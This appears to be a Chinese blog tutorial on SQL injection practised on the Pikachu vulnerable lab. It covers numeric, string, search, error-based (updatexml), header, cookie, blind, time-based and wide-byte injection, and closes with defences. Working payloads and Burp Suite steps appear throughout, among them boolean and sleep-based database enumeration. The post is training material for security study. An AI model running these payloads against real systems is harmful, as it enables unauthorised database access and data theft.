pikachu SQL注入概览

概述

数据库注入漏洞,主要是开发人员在构建代码时, 没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一-种漏洞。

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
    一个严重的SQL注入漏洞,可能会直接导致一家公司破产!

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
    在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
    1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
    2.使用参数化(Parameterized Query 或 Parameterized Statement);
    3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

SQL注入漏洞攻击流程

第一步:注入点探测

自动方式:通过web漏洞扫描工具,自动进行注入点发现

手动方式:手工构造sql inject测试语句进行注入点发现

第二步:信息获取

通过注入点取期望得到的数据

  1. 环境信息:    数据库类型,数据库版本、操作系统版本、用户信息等
  2. 数据库信息:   数据库名称、数据库表、表字段,字段内容(加密内容破解)

第三步:获取权限

获取操作系统权限:通过数据库执行shell,上传木马

SQL注入漏洞-常见注入点类型

  • 数字型     user_id=$id
  • 字符型     user_id='$id'
  • 搜索型     text LIKE '%{$_GET[''search]}%'

本次实验在pikachu靶场进行演示!!

数字型注入(post)

点击pikachu页面中的查询,查询id都会得到相对应的信息

打开burp suite工具,点击抓取到的post请求,发送到Repeater

点击Repeater中的GO,打开右边的Response中的Render,可以看到得出的信息是和在pikachu里查询的信息是一样的

接下来进行测试看是否存在SQL漏洞,修改Request中的信息,把id=3修改为id=3 or 1=1,点击Go,可以看到获取了所有用户的信息,确定存在着一个数字型的SQL注入漏洞!

也可以在id=3后面加单引号,显示报错,说明存在SQL注入!

还有一种测试方法,通过数据库shell进行验证,在shell输入SQL语句,验证是否存在SQL注入漏洞。

输入正确的SQL语句,可以到对应的id信息

select username,email from member where id=1;

再次输入修改后的SQL语句,可以看到获取到了数据库表中的所有用户的信息,再次验证了存在着一个数字型的SQL漏洞!

select username,email from member where id=1 or 1=1;

 查看pikachu的后端源码,看漏洞是如何形成的。可以看到id=$id是从前端获取并且没有经过任何处理直接放进去的,可以看到$id没有单引号或者双引号,说明它是个数字型变量,可以用相关的函数连接数据库执行SQL语句,这样就导致了$id可以被直接控制,并且可以通过拼接构造合法的SQL语句造成信息的泄漏。

字符型注入(get)

在pikachu页面中随便输入内容xxx,显示用户名不存在,输入一个正确的用户名时,则显示出这个用户名的信息

在数据库shell中尝试输入猜想的SQL语句,可以看到获取了用户的信息

select username,email from member where username='lucy';

接下来进行闭合测试,构造合法的payload,输入到pikachu页面当中,可以看到存在着一个SQL注入!

lucy' or 1=1#

也可以像数字型的验证方法一样,在页面中输入一个单引号,显示报错,说明存在着SQL注入!

查看一下后端源码,可以看到字符型和数字型差不多一样,区别就是username中添加了单引号,把它当成字符串去处理。

搜索型注入

 搜索型就是当记不住用户名时,可以输入字符,它就会查询中这个字符的所有结果

在数据库的shell中也可以通过SQL语句,搜索输入字符的所有信息

select * from member where username like '%l%';

 接下来通过这个payload,构造出合法的闭合,测试SQL注入漏洞

l%' or 1=1#

可以看到获取到了所有用户的信息,存在着一个SQL注入!

 xx型注入

在pikachu页面中输入1加单引号,可以看到显示报错

查看一下后端源码,可以看到xx型相对于之前的类型,它是用一个括号来拼接前端获取的字符,所有我们可以在此基础上,通过构造一个合法的闭合来进行测试!

通过后端源代码猜想出一个合法的闭合('xxxx') or 1=1#'),选取其中需要测试的部分输入到pikachu当中

xxx') or 1=1#

提交后,可以看到页面遍历出了所有用户的信息

如下insert、update、delete都是报错注入,为啥要用报错注入呢?

因为这些sql语句不像查询有返回,所以报错注入就是强制sql语句出错,然后在报错中获取你想要的消息

insert/update注入

insert注入

打开pikachu靶场,在insert/update登录页面点击注册,在用户栏中输入单引号,密码栏随便输入内容然后提交。

提交后,会看到显示报错,说明了提交的内容参与到了后台的拼接导致了一个语法的错误!

到数据库的shell进行操作,输入一条正常的信息插入到数据库中

insert into member(username,pw,sex,phonenum,email,address) values('xiaolan',2222,1,2,3,4);

select  *  from member;

利用updatexml()报错函数构造一个合法的payload,进行SQL注入的测试![原理见上一篇文章]

insert into member(username,pw,sex,phonenum,email,address) values('1'or  updatexml(1,concat(0x7e,version()),0)  or'',2222,1,2,3,4);

可以看到通过构造一个合法的闭合,获取了数据库的版本信息!

也可以把payload输入到pikachu靶场注册页面的用户栏里,密码随便写,提交后会获取相对应的信息

update注入

update演示,先在靶场页面中登录,然后点击修改个人信息,把insert演示中的payload输入到任意一栏中,点击提交,就能获取到数据库的信息了。

1' or updatexml(1, concat( 0x7e,version()) ,0) or '

delete注入

打开pikachu靶场,可以看到页面是和存储型XSS是一样的,把留言列表下的记录删除

打开burp suite,点击抓取到的get请求,发送到Repeater

 把id修改为通过查看后端源代码所得到的payload,因为参数是通过URL提交的,所以要对闭合代码进行URL编码

 1 or updatexml(1, concat( 0x7e,version()) ,0)

提交后,请求发送成功,返回报错的信息

http header注入

概述

有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL inject漏洞。

点击pikachu靶场的右上角提示,输入账号密码

登录成功后就会看到此页面的信息

打开burp suite,右击抓取到的get请求,发送到Repeater

打开Repeater,把User-Agent的信息修改为单引号,右边的Response会报错,说明存在着一个SQL注入!

输入payload进行测试,也就是把之前的闭合代码输入到User-Agent,就会获取到相应的信息

1' or updatexml(1, concat( 0x7e,version()) ,0) or '

还有一种方法是cookie测试,获取到cookie后到数据库拼接进行相关的操作,也有可能会产生SQL注入漏洞的。

首先要先把之前在User-Agent输入的payload删掉,然后在cookie的用户名admin后面加入单引号,运行后可以看到显示报错

接下来在cookie用户名中输入payload,可以看到报错显示数据库版本信息

1' and updatexml(1, concat( 0x7e,version()) ,0)#

盲注

 概述

在有些情况下,后台使用了错误信息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断,这种情况下的注入,称为"盲注"。根据表现形式的不同,盲注又分为based Booleanbased time两种类型。

盲注(based boolean)

基于boolean的盲注主要表现症状:

  1. 没有报错信息
  2. 不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
  3. 在正确的输入下,输入and 1=1/and 1=2发现可以判断

在pikachu靶场,按照之前的逻辑不管是输入单引号还是和之前一样输入kobe‘ or 1=1#都显示错误,说明之前的测试方法在盲注中是没有效果的!

 

换种方法输入kobe' and 1=1#,才会显示出信息,说明存在着一个SQL注入!

先在数据库shell中输入payload查询ASCII码或者长度的判断

select  ascii(substr(database(),1,1));

select length(database());

知道长度后,在pikachu靶场中输入payload,获取到了用户信息

kobe'  and  ascii(substr(database(),1,1))>7#

kobe'  and  ascii(substr(database(),1,1))=112#

还有一种方法是更改database()函数来获取用户信息

kobe'  and  ascii(substr((select table_name from information_schema.tables  where table_schema=database() limit 0,1),1,1))>7#

 盲注(based time)

 概述

如果说基于boolean的盲注在页面上还可以看到0 or 1的回县的话,那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是"时间",通过特定的输入,判断后台执行的时间,从而确认注入!

在pikachu靶场中,F12打开控制台,点击网络,在页面中输入payload,会看到页面暂停了5秒,说明了存在着一个基于time盲注的SQL注入!

kobe' and sleep(5)#

接下来输入一个payload来测试,这个payload是根据时间的延迟来判断的,用if判断,通过substr函数把数据库中的第一个字符跟‘p’进行比较,如果相等则暂停5秒钟

kobe'   and   if((substr(database( ),1,1))= 'p' ,sleep(5),null)#

宽字节注入

 因为在宽字节中,单引号会被转义为斜杠"\",这样会无法构造一个SQL语句。可以通过在单引号前面加" %df ",来让单引号逃过转义。

通过burp suite抓包,发送到Repeater,输入payload到name中

1%df' or 1=1#

点击Render可以看到获取了用户的信息

 SQL注入漏洞的防范

  • 代码层面
  1. 对输入进行严格的转义和过滤
  2. 使用预处理和参数化(parameterized)
  • 网路层面
  1. 通过WAF设备启动防SQL inject注入策略(或类似防护系统)
  2. 云端防护(360网站卫士,阿里云盾等)

 总结

不管是啥型,总而言之,就是对SQL中的各种类型的输入进行闭合测试,构成合法SQL,从而去欺骗后台执行!

posted @ 2021-06-19 17:15  bonelee  阅读(296)  评论(0编辑  收藏  举报